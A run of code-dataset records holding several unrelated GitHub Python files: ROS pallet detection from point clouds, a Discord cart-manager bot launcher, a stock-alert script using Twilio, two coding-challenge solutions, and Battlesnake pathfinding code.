o3d.geometry.KDTreeSearchParamHybrid(radius=radius_feature, max_nn=100))\n return pcd_down, pcd_fpfh\n\n\n\ndef execute_global_registration(source_down, target_down, source_fpfh,\n target_fpfh, voxel_size):\n distance_threshold = voxel_size * 1.5\n print(\":: RANSAC registration on downsampled point clouds.\")\n print(\" Since the downsampling voxel size is %.3f,\" % voxel_size)\n print(\" we use a liberal distance threshold %.3f.\" % distance_threshold)\n result = o3d.registration.registration_ransac_based_on_feature_matching(\n source_down, target_down, source_fpfh, target_fpfh, distance_threshold,\n o3d.registration.TransformationEstimationPointToPoint(False), 4, [\n o3d.registration.CorrespondenceCheckerBasedOnEdgeLength(0.9),\n o3d.registration.CorrespondenceCheckerBasedOnDistance(\n distance_threshold)\n ], o3d.registration.RANSACConvergenceCriteria(4000000, 500))\n return result\n\n\ndef draw_registration_result(source, target, transformation):\n source_temp = copy.deepcopy(source)\n target_temp = copy.deepcopy(target)\n source_temp.paint_uniform_color([1, 0.706, 0])\n target_temp.paint_uniform_color([0, 0.651, 0.929])\n source_temp.transform(transformation)\n o3d.visualization.draw_geometries([source_temp, target_temp])\n\n\n\ndef refine_registration(source, target, source_fpfh, target_fpfh, voxel_size, result_ransac):\n distance_threshold = voxel_size * 0.4\n print(\":: Point-to-plane ICP registration is applied on original point\")\n print(\" clouds to refine the alignment. This time we use a strict\")\n print(\" distance threshold %.3f.\" % distance_threshold)\n result = o3d.registration.registration_icp(\n source, target, distance_threshold, result_ransac.transformation,\n o3d.registration.TransformationEstimationPointToPlane())\n return result\n\n\n\ndef parse_config():\n parser = argparse.ArgumentParser(description='arg parser')\n \n # # parameters of pallet:\n parser.add_argument('--pallet_height', type=float, default=0.2, help='max height of pallet')\n parser.add_argument('--sensor_height', type=float, default=0.5, help='prox height of sensor')\n parser.add_argument('--max_dis', type=float, default=3.5, help='max dis of range')\n \n # # parameters for point_cloud_preprocessing: \n parser.add_argument('--voxel_size', type=float, default=0.005, help='voxel_size for voxel filter')\n parser.add_argument('--distance_threshold', type=float, default=0.01, help='distance_threshold for segment_plane')\n parser.add_argument('--distance_threshold_RS_M1', type=float, default=0.03, help='distance_threshold for segment_plane for RS_M1')\n \n parser.add_argument('--ransac_n_ground', type=int, default=100, help='ransac_n for segment_plane of ground')\n parser.add_argument('--num_iterations', type=int, default=100, help='num_iterations for segment_plane')\n parser.add_argument('--gournd_theta_threshold', type=float, default=10, help='theta threshold to be considered as ground')\n \n # # parameters for geometric_pallet_segmentation: \n parser.add_argument('--nb_points', type=int, default=50, help='Number of points within the radius')\n # default for D455\n # no need for L515\n # 25 for RS_M1\n parser.add_argument('--radius', type=float, default=0.1, help='Radius of the sphere')\n # default for D455\n # no need for L515\n # 0.2 for RS_M1\n parser.add_argument('--ransac_n_cluster', type=int, default=50, help='ransac_n for segment_plane of cluster') \n parser.add_argument('--ransac_n_cluster_pallet_detection', type=int, default=25, help='ransac_n for segment_plane of cluster') \n parser.add_argument('--eps', type=float, default=0.01, help='the distance to neighbours in a cluster')\n # 0.01 for D455\n # 0.05 for L515 and ransac_n_cluster 40\n # 0.03 for RS_M1 and ransac_n_cluster 40\n parser.add_argument('--min_points', type=int, default=10, help='the minimun number of points required to form a cluster')\n parser.add_argument('--eps_threshold', type=float, default=8, help='epsilo threshold to be considered as vertical to ground')\n # cluster_dbscan and requires two parameters. eps defines the distance to neighbours in a cluster and min_points defines the minimun number of points required to form a cluster\n \n # # parameters for geometric_pallet_segmentation: voxel_size_refine\n # parser.add_argument('--voxel_size_refine', type=float, default=0.01, help='voxel_size for voxel filter')\n # parser.add_argument('--every_k_points', type=int, default=2, help='downsample the point cloud by collecting every n-th points')\n parser.add_argument('--voxel_size_refine', type=float, default=0.01, help='voxel_size for voxel filter')\n parser.add_argument('--every_k_points', type=int, default=2, help='downsample the point cloud by collecting every n-th points')\n \n parser.add_argument('--eps_refine', type=float, default=0.03, help='the distance to neighbours in a cluster')\n parser.add_argument('--min_points_refine', type=int, default=10, help='the minimun number of points required to form a cluster')\n # 0.02\n \n parser.add_argument('--centroid_dis_min', type=float, default=0.3, help='the distance threshold for centroid')\n parser.add_argument('--centroid_dis_max', type=float, default=0.5, help='the distance threshold for centroid')\n \n parser.add_argument('--centroid_height_threshold', type=float, default=0.05, help='the threshold distance for centroid to be considered as same height')\n \n \n args = parser.parse_args()\n return args\n\n\n\nclass Segmentation(object):\n def __init__(self, args):\n # # parameters of pallet:\n self.opt = args\n \n self.segmation = False\n self.ground_plane_model = None\n self.V2C = np.array([0, -1, 0,\n 0, 0, -1,\n 1, 0, 0,]).reshape((3,3))\n self.C2V = np.linalg.inv(self.V2C)\n \n rospy.init_node('PalletDetection')\n self.bridge = CvBridge()\n # self.rgb_img = None\n self.frame_number = 0\n self.frame_success = 0\n self.img_sub = message_filters.Subscriber('/camera/color/image_raw', Image)\n self.lidar_sub = message_filters.Subscriber('/camera/depth/color/points', PointCloud2)\n # self.lidar_sub = rospy.Subscriber('/camera/depth/color/points', data_class=PointCloud2, queue_size=1, callback=self.callback)\n self.ts = message_filters.ApproximateTimeSynchronizer([self.lidar_sub, self.img_sub], 1, 0.1)\n self.ts.registerCallback(self.callback)\n\n self.pointcloud_repub = rospy.Publisher('/camera/depth/color/points_repub', PointCloud2, queue_size=1)\n self.pointcloud_pub = rospy.Publisher('/camera/depth/color/points_voxel', PointCloud2, queue_size=1)\n self.img_pub = rospy.Publisher('/camera/color/image_show', Image, queue_size=1)\n \n def callback(self, lidar_msg, img_msg):\n rospy.loginfo('Receiving MSG !')\n self.frame_number += 1\n start = timeit.default_timer()\n self.header = std_msgs.msg.Header()\n self.header.stamp = lidar_msg.header.stamp\n self.header.frame_id = lidar_msg.header.frame_id\n fields = [PointField('x', 0, PointField.FLOAT32, 1),\n PointField('y', 4, PointField.FLOAT32, 1),\n PointField('z', 8, PointField.FLOAT32, 1),\n PointField('rgba', 12, PointField.UINT32, 1),\n ]\n\n try:\n self.rgb_img = self.bridge.imgmsg_to_cv2(img_msg, 'passthrough').astype(np.uint8).copy() \n # rgb_img = self.bridge.compressed_imgmsg_to_cv2(img_msg, 'passthrough')\n except CvBridgeError as e:\n print(e)\n \n # receiving point cloud\n pointcloud_list = []\n for point in pcl2.read_points(lidar_msg, skip_nans=True, field_names=(\"x\", \"y\", \"z\")):\n pointcloud_list.append(point[2])\n pointcloud_list.append(-point[0])\n pointcloud_list.append(-point[1])\n \n pointcloud_array = np.array(pointcloud_list).reshape((-1, 3))\n pointcloud_array = pointcloud_array[np.where(pointcloud_array[:, 0] < self.opt.max_dis)]\n\n # preprocessing point cloud\n pcd = self.point_cloud_preprocessing(pointcloud_array)\n # if not Succesfully Segment the Ground return\n if self.segmation == False:\n rospy.loginfo('********* Sorry No Pallet Detected *********')\n return\n \n # # geometric_pallet_segmentation\n is_segmet, pointcloud_array = self.geometric_pallet_segmentation(pcd)\n if is_segmet == False:\n rospy.loginfo('********* Sorry No Pallet Detected *********')\n return\n \n pointcloud_repub_msg = pcl2.create_cloud_xyz32(self.header, pointcloud_array)\n self.pointcloud_repub.publish(pointcloud_repub_msg)\n \n # return\n \n # # # geometric_pallet_detection\n is_detected, pallet_pcd = self.geometric_pallet_detection(pointcloud_array)\n if is_detected == False:\n rospy.loginfo('********* Sorry No Pallet Detected *********')\n return\n \n pointcloud_repub_msg = pcl2.create_cloud_xyz32(self.header, np.asarray(pallet_pcd.points))\n \n self.pointcloud_pub.publish(pointcloud_repub_msg)\n success_rate = self.frame_success / self.frame_number\n rospy.loginfo('Successful Rate: %2f; (%d / %d )', success_rate, self.frame_success, self.frame_number)\n \n self.lookup_tabel(np.asarray(pallet_pcd.points))\n \n # pointcloud_msg = pcl2.create_cloud_xyz32(header, pointcloud_array)\n # self.pointcloud_pub.publish(pointcloud_msg)\n \n stop = timeit.default_timer()\n print('det_time: ', stop - start)\n\n\n# L515 (1m - 2m)\n# python3 main.py --eps 0.01 --min_points 10 --ransac_n_cluster 40 --ransac_n_cluster_pallet_detection 40 \n\n# L515 (2m - 3m)\n# python3 main.py --eps 0.05 --min_points 10 --ransac_n_cluster 40 --ransac_n_cluster_pallet_detection 40 --eps_refine 0.025 --min_points_refine 10\n\n# L515 (3m - 4m)\n# python3 main.py --eps 0.05 --min_points 10 --ransac_n_cluster 40 --ransac_n_cluster_pallet_detection 40 --eps_refine 0.03 --min_points_refine 10 --max_dis 4\n\n \n def lookup_tabel(self, pointcloud_array):\n median_x = np.median(pointcloud_array[:, 0])\n # print('median distance: ', median_x)\n \n if median_x >= 3:\n # self.opt.eps = 0.05\n # self.opt.eps_refine = 0.03\n # self.opt.min_points_refine = 10\n self.opt.max_dis = 4\n elif 2<= median_x <3:\n # self.opt.eps = 0.05\n # self.opt.eps_refine = 0.025\n # self.opt.min_points_refine = 10\n self.opt.max_dis = 3.5\n elif 1.5 <= median_x <2:\n # self.opt.eps = 0.01\n # self.opt.eps_refine = 0.03\n # self.opt.min_points_refine = 10\n self.opt.max_dis = 3\n elif median_x <1.5:\n self.opt.max_dis = 2\n \n\n def point_cloud_preprocessing(self, pointcloud_array):\n pointcloud_array = pointcloud_array[np.where(pointcloud_array[:, -1] < self.opt.sensor_height)]\n pcd = o3d.geometry.PointCloud()\n pcd.points = o3d.utility.Vector3dVector(pointcloud_array)\n \n # # first Voxel filter to downsample\n point_cloud_np = pcd.voxel_down_sample(self.opt.voxel_size)\n \n # # plane segmentation to find ground\n plane_model, inliers = point_cloud_np.segment_plane(distance_threshold=self.opt.distance_threshold, \n ransac_n=self.opt.ransac_n_ground, \n num_iterations=self.opt.num_iterations)\n [a, b, c, d] = self.ground_plane_model = plane_model\n self.abc_sqrt = np.sqrt(a**2+b**2+c**2)\n \n rospy.loginfo(f\"Ground plane equation:({a:.2f}x)+({b:.2f}y)+({c:.2f}z)+({d:.2f})=0\")\n \n theta_z = np.arccos( c / self.abc_sqrt )\n\n if theta_z <= self.opt.gournd_theta_threshold * np.pi / 180:\n self.segmation = True\n rospy.loginfo('Succesfully Segment the Ground')\n outlier_cloud = point_cloud_np.select_by_index(inliers, invert=True)\n outlier_cloud_np = np.asarray(outlier_cloud.points).reshape((-1, 3))\n distance = abs( outlier_cloud_np[:, 0] *a + outlier_cloud_np[:, 1] * b + outlier_cloud_np[:, 2] * c + d) /self.abc_sqrt\n outlier_cloud_np = outlier_cloud_np[np.where(distance < 1.5 * self.opt.pallet_height)]\n pcd = o3d.geometry.PointCloud()\n pcd.points = o3d.utility.Vector3dVector(outlier_cloud_np)\n return pcd \n else:\n rospy.loginfo('Failed Segment the Ground')\n self.segmation = False\n return pcd\n \n # [a, b, c, d] = self.ground_plane_model = [0, 0, 1, self.opt.sensor_height]\n # self.abc_sqrt = np.sqrt(a**2+b**2+c**2)\n # self.segmation = True\n # return pcd\n \n\n def geometric_pallet_segmentation(self, voxel_down_pcd):\n is_segment = False\n # 提取所有垂直地面的cluster\n pcd, ind = voxel_down_pcd.remove_radius_outlier(nb_points=self.opt.nb_points, radius=self.opt.radius)\n \n # # DB_Scan for clustering\n labels = np.array(pcd.cluster_dbscan(eps=self.opt.eps, min_points=self.opt.min_points)) \n # # a array with shape (n,): n is the size of point cloud array\n\n max_label = labels.max()\n rospy.loginfo(f\"point cloud has {max_label + 1} clusters\")\n # colors = plt.get_cmap(\"tab20\")(labels / (max_label if max_label > 0 else 1))\n # colors[labels < 0] = 0\n # pcd.colors = o3d.utility.Vector3dVector(colors[:, :3])\n # o3d.visualization.draw_geometries([pcd])\n \n # # check each cluster whether they are vertical to the ground\n point_cloud_array = np.empty((0,3))\n for label_num in range(0, max_label + 1):\n \n index = np.where(labels == label_num)[0].tolist()\n \n if len(index) < self.opt.ransac_n_cluster:\n continue\n segment_pcd = pcd.select_by_index(index, invert=False)\n \n plane_model, inliers = segment_pcd.segment_plane(distance_threshold=self.opt.distance_threshold, \n ransac_n=self.opt.ransac_n_cluster_pallet_detection, \n num_iterations=self.opt.num_iterations)\n [a, b, c, d] = plane_model\n \n # # theta with respect to the ground plane model \n theta_z = np.arccos( (a*self.ground_plane_model[0] + b*self.ground_plane_model[1] + c*self.ground_plane_model[2]) \n / np.sqrt(a**2+b**2+c**2) \n / np.sqrt(self.ground_plane_model[0]**2+self.ground_plane_model[1]**2+self.ground_plane_model[2]**2))\n \n # # check if is vertical to the ground\n if (90 + self.opt.eps_threshold) * np.pi / 180 >= theta_z >= (90 - self.opt.eps_threshold) * np.pi / 180:\n is_segment = True\n point_cloud_array = np.concatenate((point_cloud_array, np.asarray(segment_pcd.select_by_index(inliers).points)), axis=0) \n \n return is_segment, point_cloud_array\n \n def geometric_pallet_detection(self, point_cloud_array):\n # # DB_Scan for clustering\n is_detected, pallet_pcd = False, None\n pcd = o3d.geometry.PointCloud()\n pcd.points = o3d.utility.Vector3dVector(point_cloud_array)\n # labels = np.array(pcd.cluster_dbscan(eps=self.opt.eps, min_points=self.opt.min_points)) \n # max_label = labels.max()\n # max_idx = []\n # for label_num in range(0, max_label + 1):\n # index = np.where(labels == label_num)[0].tolist()\n # if len(index) > len(max_idx):\n # max_idx = index\n # segment_pcd = pcd.select_by_index(index, invert=False)\n plane_model, inliers = pcd.segment_plane(distance_threshold=self.opt.distance_threshold, \n ransac_n=self.opt.ransac_n_cluster_pallet_detection, \n # ransac_n=int(len(index) / 1.5), \n num_iterations=self.opt.num_iterations)\n [a, b, c, d] = plane_model\n abc_sqrt = np.sqrt(a**2+b**2+c**2)\n theta_a = np.arccos(a/ abc_sqrt) * 180 / np.pi\n theta_b = np.arccos(b/ abc_sqrt) * 180 / np.pi\n theta_c = np.arccos(c/ abc_sqrt) * 180 / np.pi\n theta_z = np.arccos( (a*self.ground_plane_model[0] + b*self.ground_plane_model[1] + c*self.ground_plane_model[2]) \n / np.sqrt(a**2+b**2+c**2) \n / np.sqrt(self.ground_plane_model[0]**2+self.ground_plane_model[1]**2+self.ground_plane_model[2]**2))\n # rospy.loginfo(f\"Segmentation Plane equation:({a:.2f}x)+({b:.2f}y)+({c:.2f}z)+({d:.2f})=0\")\n # dis = abs(d / abc_sqrt)\n # dis = np.sqrt(np.median(point_cloud_array[:,0])**2+np.median(point_cloud_array[:,1])**2+np.median(point_cloud_array[:,2])**2)\n disX = np.median(point_cloud_array[:,0])\n disY = np.median(point_cloud_array[:,1])\n disZ = np.median(point_cloud_array[:,2])\n if (90 + self.opt.eps_threshold) * np.pi / 180 >= theta_z >= (90 - self.opt.eps_threshold) * np.pi / 180:\n rospy.loginfo('************* Pallet Detected *************')\n rospy.loginfo(f\" Distance: {disX:.2f} (meter), {disY:.2f} (meter), {disZ:.2f} (meter) \")\n # rospy.loginfo(f\" Distance: {dis:.2f} (meter) \")\n self.frame_success += 1\n rospy.loginfo(f\" Angle: {theta_a:.2f} (degree), {theta_b:.2f} (degree), {theta_c:.2f} (degree) \")\n is_detected = True\n pallet_pcd = pcd.select_by_index(inliers)\n \n # text1 = f\"Distance:{dis:.2f}(meter) \" \n text1 = f\"Distance:{disX:.2f}(meter), {disY:.2f}(meter), {disZ:.2f}(meter) \" \n text2 = f\"Angle:{theta_a:.2f}(degree), {theta_b:.2f}(degree), {theta_c:.2f}(degree)\"\n h, w, _ = self.rgb_img.shape\n cv2.putText(self.rgb_img, text1,(int(0.1*w), int(0.09 * h)),cv2.FONT_HERSHEY_COMPLEX, 1, (255, 255, 255), 2)\n cv2.putText(self.rgb_img, text2,(int(0.1*w), int(0.2 * h)),cv2.FONT_HERSHEY_COMPLEX, 1, (255, 255, 255), 2)\n self.img_pub.publish(self.bridge.cv2_to_imgmsg(self.rgb_img, 'passthrough'))\n return is_detected, pallet_pcd\n \n \n \n \nif __name__ == \"__main__\":\n import argparse\n args = parse_config()\n segment = Segmentation(args)\n rospy.spin()","repo_name":"russellyq/3D_Segmentation_On_Pallet","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"42761307192","text":"# Cart Manager for Sole AIO Adidas carts\n# Written by SD\n# twitter.com/ciphersuites\n# Edited by box\n# twitter.com/parcels\n\nfrom classes.discord_bot import DiscordBot\nimport discord\nimport json\n\n\ntry:\n # load the config file\n config = json.loads(open('config.json').read())\n\n # get specified settings from config\n token = config['token']\n private_channel_id = config['private_channel_id']\n public_channel_id = config['public_channel_id']\n max_num_carts = config['max_num_carts']\n cooldown_time = config['cooldown_time']\n\n # create instance of DiscordBot and run\n bot = DiscordBot(token, private_channel_id, public_channel_id, max_num_carts, cooldown_time)\n bot.run()\n\n\n# case where config file is missing\nexcept FileNotFoundError:\n print(\"FATAL ERROR: Could not find config file\")\n\n# case where config file is not valid json\nexcept json.decoder.JSONDecodeError:\n print(\"FATAL ERROR: Could not read config file, invalid JSON\")\n\n# case where we could not login to the Discord application\nexcept discord.errors.LoginFailure:\n print(\"FATAL ERROR: Failed to connect to Discord application.\")\n\nexcept Exception as e:\n print(\"Unknown error: \" + str(e))\n","repo_name":"ben-sb/Adidas-Cart-Manager","sub_path":"cart_manager.py","file_name":"cart_manager.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"70"} +{"seq_id":"43862165324","text":"# -*- coding: utf-8 -*-\nfrom itertools import combinations\n\nline = input().split(\" \")\nd = int(line[0])\ng = int(line[1])\n\np = []\nc = []\nfor _ in range(d):\n line = input().split(\" \")\n p.append(int(line[0]))\n c.append(int(line[1]))\n\nret = 10000\nfor sel in range(0,d+1):\n for s in combinations(range(d),sel):\n score = 0\n num = 0\n for si in s:\n score += (si+1)*100*p[si] + c[si]\n num += p[si]\n if score>=g:\n if num=g and num 0:\n emoji = \"🔺\"\nelse:\n emoji = \"🔻\"\n\n# Calculate the percentage difference\n# Print the result\n# print(f\"Percentage Difference: {percentage_difference}%\")\n\nif abs(percentage_difference) > 1:\n news_api_params = {\n \"qInTitle\": company_name,\n \"apiKey\": news_api_key,\n }\n\n news_response = requests.get(url=news_url, params=news_api_params)\n news_response.raise_for_status()\n news_data = news_response.json()[\"articles\"]\n three_articles = news_data[:3]\n # print(three_articles)\n # make a list of articles and headlines\n articles_formatted = [\n f\"{company_name}: {percentage_difference}%{emoji}\\nHeadline: {article['title']}\\nBrief: {article['description']}\"\n for article in\n three_articles]\n # print(articles_formatted)\n # send each article separately with twilio\n for article in articles_formatted:\n client = Client(twilio_sid, twilio_auth_token)\n message = client.messages.create(\n from_=twilio_phone_number,\n body=article,\n to='receiver\"s phone'\n )\n print(message.status)\n","repo_name":"DasWealth-Okikiola/stock-monitor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41290982779","text":"#problem -> https://www.hackerrank.com/challenges/nested-list/problem?isFullScreen=true\n#easy\n\ngrades = {}\n\nfor _ in range(int(input())):\n name = input()\n score = float(input())\n grades[score] = [name] + grades.get(score, [])\n\nsecondLowestGrade = sorted(grades.keys())[1]\n[print(name) for name in sorted(grades[secondLowestGrade])]\n\n\n","repo_name":"MuhammadSaliem/Problem_Solving","sub_path":"Hackerrank/python/nested-list.py","file_name":"nested-list.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41341344887","text":"import random\r\nfrom typing import Dict, List\r\n\r\nimport mover_max_free_space\r\nimport numpy as np\r\nimport tree_node\r\n\r\n\r\ndef get_surrounding_tiles(tile: Dict[str, int], board_height: int, board_width: int):\r\n result = []\r\n if tile[\"x\"] + 1 < board_width:\r\n result.append({\"x\": tile[\"x\"] + 1, \"y\": tile[\"y\"]})\r\n if tile[\"y\"] + 1 < board_height:\r\n result.append({\"x\": tile[\"x\"], \"y\": tile[\"y\"] + 1})\r\n if tile[\"x\"] - 1 > -1:\r\n result.append({\"x\": tile[\"x\"] - 1, \"y\": tile[\"y\"]})\r\n if tile[\"y\"] - 1 > -1:\r\n result.append({\"x\": tile[\"x\"], \"y\": tile[\"y\"] - 1})\r\n return result\r\n\r\n\r\ndef populate_min_step_to_reach_matrix(\r\n min_step_to_reach_matrix: List[List[int]],\r\n body: List[dict],\r\n other_snakes_body: List[dict],\r\n board_height: int,\r\n board_width: int,\r\n):\r\n matrix_before_change = None\r\n matrix_after_change = False\r\n while matrix_before_change != matrix_after_change:\r\n # print_min_step_to_reach_matrix(min_step_to_reach_matrix)\r\n # print('========')\r\n matrix_before_change = str(min_step_to_reach_matrix)\r\n for x in range(board_width):\r\n for y in range(board_height):\r\n tile = {\"x\": x, \"y\": y}\r\n surrounding_tiles = get_surrounding_tiles(\r\n tile, board_height, board_width\r\n )\r\n surrounding_tiles = list(\r\n filter(\r\n lambda n: min_step_to_reach_matrix[n[\"x\"]][n[\"y\"]] != \"-\",\r\n surrounding_tiles,\r\n )\r\n )\r\n if len(surrounding_tiles) == 0:\r\n continue\r\n surrounding_min_steps = list(\r\n map(\r\n lambda t: min_step_to_reach_matrix[t[\"x\"]][t[\"y\"]],\r\n surrounding_tiles,\r\n )\r\n )\r\n surrounding_min_steps = list(\r\n dict.fromkeys(surrounding_min_steps)\r\n ) # unique min steps\r\n surrounding_min_steps = sorted(surrounding_min_steps, key=lambda n: n)\r\n for surrounding_min_step in surrounding_min_steps:\r\n surrounding_tiles_with_min_steps = list(\r\n filter(\r\n lambda n: min_step_to_reach_matrix[n[\"x\"]][n[\"y\"]]\r\n == surrounding_min_step,\r\n surrounding_tiles,\r\n )\r\n )\r\n if len(surrounding_tiles_with_min_steps) == 0:\r\n continue\r\n if surrounding_min_step == 0:\r\n not_accessible_tiles = other_snakes_body + body\r\n else:\r\n not_accessible_tiles = (\r\n other_snakes_body + body[:-(surrounding_min_step)]\r\n )\r\n if tile in not_accessible_tiles:\r\n continue\r\n origina_value = min_step_to_reach_matrix[x][y]\r\n if origina_value == \"-\":\r\n min_step_to_reach_matrix[x][y] = surrounding_min_step + 1\r\n else:\r\n min_step_to_reach_matrix[x][y] = min(\r\n surrounding_min_step + 1, min_step_to_reach_matrix[x][y]\r\n )\r\n matrix_after_change = str(min_step_to_reach_matrix)\r\n # print_min_step_to_reach_matrix(min_step_to_reach_matrix)\r\n # print('-------------------')\r\n\r\n\r\ndef print_min_step_to_reach_matrix(min_step_to_reach_matrix: List[List[int]]):\r\n min_step_to_reach_matrix = np.transpose(min_step_to_reach_matrix)\r\n height = len(min_step_to_reach_matrix)\r\n for i in range(height):\r\n print(min_step_to_reach_matrix[height - i - 1])\r\n print(\"==========================\\n\")\r\n\r\n\r\ndef get_step_to_reach_matrix_str(min_step_to_reach_matrix: List[List[int]]):\r\n min_step_to_reach_matrix = np.transpose(min_step_to_reach_matrix)\r\n height = len(min_step_to_reach_matrix)\r\n result = \"\"\r\n for i in range(height):\r\n result = result + str(min_step_to_reach_matrix[height - i - 1]) + \"\\n\"\r\n return result\r\n\r\n\r\ndef populate_shortest_paths_tree(\r\n min_step_to_reach_matrix: List[List[int]],\r\n start,\r\n end,\r\n board_height,\r\n board_width,\r\n parent_tree_node,\r\n):\r\n if start == end:\r\n return\r\n # debug\r\n surrounding_tiles = get_surrounding_tiles(start, board_height, board_width)\r\n surrounding_tiles = list(\r\n filter(\r\n lambda t: min_step_to_reach_matrix[t[\"x\"]][t[\"y\"]] != \"-\", surrounding_tiles\r\n )\r\n )\r\n if len(surrounding_tiles) == 0:\r\n return\r\n if min_step_to_reach_matrix[start[\"x\"]][start[\"y\"]] == \"-\":\r\n return\r\n\r\n # TODO: can change here to to support second, third and etc shortest paths\r\n # surrounding_tiles = sorted(surrounding_tiles, key=lambda c:len(n))\r\n # surrounding_tiles_min_steps = min(list(map(lambda t: min_step_to_reach_matrix[t['x']][t['y']], surrounding_tiles)))\r\n surrounding_tiles_with_min_steps = list(\r\n (\r\n filter(\r\n lambda t: min_step_to_reach_matrix[t[\"x\"]][t[\"y\"]]\r\n == min_step_to_reach_matrix[start[\"x\"]][start[\"y\"]] - 1,\r\n surrounding_tiles,\r\n )\r\n )\r\n )\r\n if len(surrounding_tiles_with_min_steps) > 0:\r\n for sub_tile in surrounding_tiles_with_min_steps:\r\n sub_tree_node = tree_node.TreeNode()\r\n sub_tree_node.parent = parent_tree_node\r\n sub_tree_node.data = sub_tile\r\n parent_tree_node.children.append(sub_tree_node)\r\n populate_shortest_paths_tree(\r\n min_step_to_reach_matrix,\r\n sub_tile,\r\n end,\r\n board_height,\r\n board_width,\r\n sub_tree_node,\r\n )\r\n\r\n\r\ndef get_shortest_paths_to_target(\r\n body, other_snakes, board_height, board_width, target, foods\r\n):\r\n other_snakes_body = []\r\n for other_snake in other_snakes:\r\n other_snakes_body = other_snakes_body + other_snake[\"body\"]\r\n min_step_to_reach_matrix = [\r\n [\"-\" for x in range(board_width)] for y in range(board_height)\r\n ]\r\n min_step_to_reach_matrix[body[0][\"x\"]][body[0][\"y\"]] = 0\r\n populate_min_step_to_reach_matrix(\r\n min_step_to_reach_matrix, body, other_snakes_body, board_height, board_width\r\n )\r\n # print_min_step_to_reach_matrix(min_step_to_reach_matrix)\r\n #\r\n # now only care about all shortest paths only\r\n # TODO: consider longer paths next time\r\n shortest_paths_tree_root_node = tree_node.TreeNode()\r\n shortest_paths_tree_root_node.data = target\r\n populate_shortest_paths_tree(\r\n min_step_to_reach_matrix,\r\n target,\r\n {\"x\": body[0][\"x\"], \"y\": body[0][\"y\"]},\r\n board_height,\r\n board_width,\r\n shortest_paths_tree_root_node,\r\n )\r\n if len(shortest_paths_tree_root_node.children) != 0:\r\n shortest_paths = shortest_paths_tree_root_node.tree2list()\r\n [item.reverse() for item in shortest_paths]\r\n shortest_paths_valid = []\r\n #\r\n for shortest_path in shortest_paths:\r\n number_of_food_picked_up_along_path = 0\r\n for food in foods:\r\n if food in shortest_path:\r\n number_of_food_picked_up_along_path = number_of_food_picked_up_along_path + 1\r\n body_after_moving_to_parent = body[: -len(shortest_path) + number_of_food_picked_up_along_path + 1 + 1]\r\n # 1 for head, 1 for tail\r\n if shortest_path[-1] not in body_after_moving_to_parent:\r\n shortest_paths_valid.append(shortest_path)\r\n return (min_step_to_reach_matrix, shortest_paths_valid)\r\n else:\r\n print(\"valid path not found\")\r\n return (min_step_to_reach_matrix, [])\r\n\r\n\r\ndef get_first_shortest_path_to_food(data: dict):\r\n board_height = data[\"board\"][\"height\"]\r\n board_width = data[\"board\"][\"width\"]\r\n foods = data[\"board\"][\"food\"]\r\n head = data[\"you\"][\"head\"]\r\n body = data[\"you\"][\"body\"]\r\n other_snakes = data[\"board\"][\"snakes\"]\r\n other_snakes = list(filter(lambda s: s[\"body\"] != body, other_snakes))\r\n mmfs = mover_max_free_space.MoverMaxFreeSpace()\r\n foods_sorted_by_distance = mmfs.get_foods_sorted_by_distance_asc(\r\n head, foods\r\n )\r\n for food in foods:\r\n (\r\n min_step_to_reach_matrix_head_to_food,\r\n shortest_paths_head_to_food,\r\n ) = get_shortest_paths_to_target(\r\n body, other_snakes, board_height, board_width, food, foods\r\n )\r\n # print(f'shortest_paths_head_to_food:\\nhead:{body[0]},\\nfood:{foods[0]},\\nmin_step_to_reach_matrix_head_to_food:\\n{get_step_to_reach_matrix_str(min_step_to_reach_matrix_head_to_food)}shortest_paths_head_to_food:\\n' + '\\n'.join(' '.join(map(str, sl)) for sl in shortest_paths_head_to_food) + '\\n---------')\r\n for path in shortest_paths_head_to_food:\r\n path.reverse() # path body is reversed of path\r\n original_tail_to_food = path[:-1] + body\r\n #\r\n body_after_eating_food = original_tail_to_food[: (len(body) + 1)]\r\n # not using 'original_tail_to_food[-(len(body) + 0):]' this is to handle 1 unit of body length increase after eating food\r\n tail_after_eating_food = body_after_eating_food[-1]\r\n (\r\n min_step_to_reach_matrix_food_to_tail,\r\n shortest_paths_food_to_tail,\r\n ) = get_shortest_paths_to_target(\r\n body_after_eating_food,\r\n other_snakes,\r\n board_height,\r\n board_width,\r\n tail_after_eating_food,\r\n foods,\r\n )\r\n # return first shortest path to food, if there is valid path for food_to_tail after eaten food\r\n path.reverse()\r\n if len(shortest_paths_food_to_tail) > 0:\r\n # able to survive after eating food\r\n # pick this path\r\n # print(f'valid shortest path found\\n{path}')\r\n return path\r\n else:\r\n # print(f'invalid shortest path food to tail:\\n{path}')\r\n # print(f'food:{food},\\ntail:{tail_after_eating_food},\\nbody:{body_after_eating_food}')\r\n # print_min_step_to_reach_matrix(min_step_to_reach_matrix_food_to_tail)\r\n pass\r\n return []\r\n\r\n\r\ndef get_move_in_shortest_path_to_food(data):\r\n first_shortest_path_to_food = get_first_shortest_path_to_food(data)\r\n if len(first_shortest_path_to_food) != 0:\r\n print(f\"first_shortest_path_to_food:{first_shortest_path_to_food}\")\r\n path = first_shortest_path_to_food\r\n else:\r\n print(\"no first_shortest_path_to_food\")\r\n print(\"chase tail\")\r\n snakes_without_my_body = list(\r\n filter(lambda s: s[\"body\"] != data[\"you\"][\"body\"], data[\"board\"][\"snakes\"])\r\n )\r\n my_body_without_tail = data[\"you\"][\"body\"]\r\n min_step_to_reach_matrix, paths_to_tail = get_shortest_paths_to_target(\r\n my_body_without_tail,\r\n snakes_without_my_body,\r\n data[\"board\"][\"height\"],\r\n data[\"board\"][\"width\"],\r\n data[\"you\"][\"body\"][-1],\r\n data[\"board\"][\"food\"],\r\n )\r\n print_min_step_to_reach_matrix(min_step_to_reach_matrix)\r\n print(f\"path_to_tail:{paths_to_tail}\")\r\n if len(paths_to_tail) == 0:\r\n return None\r\n path = paths_to_tail[0] # first shortest path to tail\r\n # print(f'path:{path}')\r\n step0 = path[0]\r\n step1 = path[1]\r\n if 